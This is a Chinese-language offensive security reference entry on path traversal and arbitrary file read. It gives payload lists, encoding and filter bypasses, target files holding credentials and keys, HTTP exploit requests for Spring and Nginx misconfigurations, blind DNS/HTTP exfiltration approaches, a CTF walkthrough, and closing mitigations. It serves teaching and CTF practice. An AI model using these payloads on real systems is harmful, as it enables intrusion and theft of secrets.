| title | 任意文件读取与目录穿越 | |||||
|---|---|---|---|---|---|---|
| aliases |
|
|||||
| category | exp | |||||
| status | current | |||||
| updated | 2026-07 |
应用按用户给的路径去磁盘读文件,却没有把路径限制在预期目录内,攻击者用 ../ 跳出沙箱目录,读走配置、源码、密钥甚至 flag。
- 用户输入(文件名/路径)拼进文件操作函数(
open、readFile、FileInputStream) - 服务端未做规范化校验,相对路径符号
../(Windows 下..\)向上回溯目录 - 与"文件包含"的区别:读取只拿内容,包含会把内容当代码执行(见 EXP-Include-PHP)
- 存在读文件/下载/预览功能,路径或文件名用户可控
- 路径校验缺失、黑名单可绕过,或校验发生在规范化之前
- 文件下载:
/download?file=report.pdf - 图片/附件预览:
/preview?path=...、/img?src=... - 模板/语言包加载:
?template=、?lang= - 常见参数名:
file、filename、path、filepath、download、doc、src、name
../../../../etc/passwd
....//....//etc/passwd (过滤一次 ../ 时双写绕过)
..%2f..%2fetc/passwd (URL 编码)
..%252f..%252f (双重编码,前端解码一次、服务端再解码一次)
直接给绝对路径,很多校验只盯 ../:
/etc/passwd
C:\Windows\win.ini
%00截断(PHP < 5.3.4 等老环境):../../etc/passwd%00.jpg- 长度截断:超长
../冲刷掉服务端拼接的固定后缀(老 PHP) - 伪协议(PHP):
php://filter/convert.base64-encode/resource=index.php,把源码 Base64 读出来
- 分隔符
\与/都可能被接受 - 盘符路径
C:/、\\?\C:\ - 保留设备名(
aux、con)可用于 DoS 探测
审计/挖洞时,看到下列函数的入参来自用户输入,就是穿越测试点。
| 函数 | 一句话区别 |
|---|---|
file_get_contents($path) |
整个文件读成字符串返回,不直接输出 |
readfile($path) |
读取并直接写向输出缓冲(下载接口常用) |
fopen() / fread() / fgets() |
流式句柄读取,可只读部分内容 |
show_source() / highlight_file() |
读取源码并语法高亮输出 |
include / require |
读取并当代码执行——已是文件包含漏洞,见 EXP-Include-PHP |
new FileInputStream(path)+read():基础字节流Files.readAllBytes(Paths.get(path)):NIO 一次性读入内存RandomAccessFile(path, "r"):可指定偏移随机读(别误以为限制了读取范围就安全)new InputStreamReader(new FileInputStream(...)):字符流包装getResource()/getResourceAsStream():从 classpath 读资源,../同样能跳出包路径
open(path).read():最常见写法os.popen('cat ' + path).read():一旦走到这里直接升级为命令注入codecs.open(path, encoding=...):带编码读取,安全性同open()
fs.readFileSync(path):同步读入内存fs.createReadStream(path):流式读取,下载/预览接口常客
| 目标 | 价值 |
|---|---|
/etc/passwd、C:\Windows\win.ini |
探测漏洞是否成立的试金石 |
/proc/self/environ、/proc/self/cmdline |
环境变量、启动参数(常藏密钥) |
/proc/self/fd/* |
已打开文件句柄,可读日志/配置 |
web.xml、.env、application.yml、config.php |
数据库口令、AKSK、JWT 密钥 |
| 站点源码 | 拿到源码转代码审计,挖 RCE |
/var/log/、Tomcat 日志 |
找 session、后台路径、注入痕迹 |
~/.ssh/id_rsa、~/.bash_history |
直接登录、摸清运维习惯 |
目标是 IIS / ASP.NET 站时,把 Linux 的 /etc/passwd 换成下面这些:
C:\inetpub\wwwroot\web.config # IIS 站点配置(含 machineKey,拿到即可联动 .NET 反序列化打 ViewState)
C:\Windows\System32\config\SAM # 账户哈希库(需配合注册表 hive 提取,如 reg save)
C:\Users\<user>\Desktop\flag.txt # 常见 CTF flag 位置
C:\inetpub\logs\LogFiles\ # IIS 访问日志(找后台路径、他人请求)
C:\Windows\win.ini # Windows 版试金石(地位等同 /etc/passwd)
C:\Windows\System32\drivers\etc\hosts # 域名绑定表,摸清内网主机关系
C:\Program Files\<app>\ # 应用安装目录,配置/日志/连接串常在此
要点:
web.config里的machineKey(validationKey/decryptionKey)是黄金钥匙——可离线伪造加密签名的 ViewState 直达 RCE,利用链见 EXP-DotNet-UnserializeSAM文件被系统占用且受权限保护,直接读通常失败;实战等拿到命令执行后走reg save HKLM\SAM sam.hive再离线解(读文件阶段先记下路径备用)<user>用户名不确定时,先靠报错差异探测C:\Users\下各目录的存在性,或从 IIS 日志、web.config里的路径推断
..\..\..\..\windows\win.ini # 反斜杠回溯:正斜杠被过滤/拦截时改用 \
..\..\..\..\..\..\boot.ini # 多层无害,给足层数防止跳不出根(老系统还可读 boot.ini)
c:/windows/win.ini # 盘符切换:正斜杠写绝对路径,绕过"必须相对路径"的拼接校验
C:\Windows\win.ini # 反斜杠绝对路径硬吃
- Windows 文件 API 同时接受
\与/:一种被 WAF/黑名单拦了就换另一种 - 服务端把用户输入拼在固定目录后面时,
..\数量宁多勿少(多写几层最多停在盘符根,不会报错;少了跳不出目标目录) - 注意编码变体:
%5c(\)、%2e%2e%5c(..\)、..%255c(双重编码)与前文通用技巧通用
- 读源码 -> 审计出反序列化/SQLi -> 组合 RCE,是 CTF 与实战的标准链路
- 读取数据库文件(SQLite)、
/proc/self/maps辅助进一步利用 - 盲读场景:无回显时结合布尔差异(存在/不存在响应不同)或 OOB 外带
场景:文件确实被读了(如下载接口只在后台预取、日志型盲场景),但响应不回显内容。此时把"读文件"当数据源,另找一条外带信道把内容送出来:
- 布尔差异盲读(保底手段):文件存在/不存在导致响应不同(状态码、长度、耗时),可先探测路径存在性;内容层面只能逐字节爆破,极慢,留作最后手段
- 与 XXE OOB 联动:注入点若支持 XML,用外部实体
file:///读文件 + 参数实体把内容拼进对攻击者域名的请求,从 DNS/HTTP 日志收数据,详见 EXP-XXE - 与 SSRF 联动:SSRF 能控制请求的 URL 时,用
file://、gopher://等协议读文件并经回调带出(部分环境还能借dict://、内网回连探测),详见 EXP-SSRF
DNS 外带细节:内容拼进子域名时单个标签不超过 63 字符,长内容需分段(首字符还要避开纯数字标签);curl/wget、ping、代码里的任意 DNS 解析都能触发查询,攻击侧一条 tcpdump 或公网 DNSLOG 即可收割。
一句话总结:无回显时优先找"二次外带通道"(DNS/HTTP 回连),读文件漏洞出数据,XXE/SSRF 当信道。
Spring MVC 静态资源 location 配置为 file: 且未以 / 结尾时,Windows 上路径分隔符 \ 配合双重编码绕过规范化校验:
GET /static..%255c..%255c..%255cetc%255cpasswd HTTP/1.1
要点:
%255c双重编码最终还原为\(%5c),规范化发生在完全解码之前导致穿越逃逸;仅 Windows 受影响,Linux 上/分隔符会被正确处理。
location 少了结尾 /,alias 却带 /,前缀替换后残留的 ../ 直接拼到 alias 目录之后:
location /files {
alias /home/;
}GET /files../etc/passwd HTTP/1.1
要点:Nginx 用
/files前缀匹配后,把剩余的../etc/passwd直接接到 alias 后,得到/home/../etc/passwd。修复:两边都带斜杠——location /files/ { alias /home/; }。
- 找读文件类参数,先丢
../../../../etc/passwd看回显 - 被拦就换编码、双写、绝对路径逐一试
- 回显过滤了敏感关键词时,用 Base64 伪协议读出再本地解码
题目:/download?file=xxx 下载接口。
- 读 /etc/passwd 确认漏洞:提交
?file=../../../../etc/passwd,回显root:x:0:0:...——任意文件读取成立。 - 读源码定位 flag 路径:
?file=../../../../var/www/html/index.php(源码路径可从/etc/passwd的用户目录、/proc/self/cwd等推断),发现后端逻辑:
<?php
// 固定前缀拼接,且过滤了一遍 ../
$file = '/var/www/html/files/' . str_replace('../', '', $_GET['file']);
echo file_get_contents($file);
// hint: flag 位于 /flag- 绕过前缀拼接与过滤:
str_replace单次过滤用双写绕过,叠加足够数量跳出前缀目录:
/download?file=....//....//....//....//flag
....//被过滤掉中间的../后还原为../,四个叠加即可从/var/www/html/files/跳回根目录。
- 读出 flag:响应返回
flag{...}。
- 白名单校验文件名(只允许预期集合),不校验"路径"而校验"文件 ID"
- 拼接后用
realpath/ 路径规范化函数处理,确认结果仍以预期目录开头 - 拒绝绝对路径与
..序列,校验放在 URL 完全解码之后 - 单独隔离存储目录,Web 用户最小权限,禁读系统目录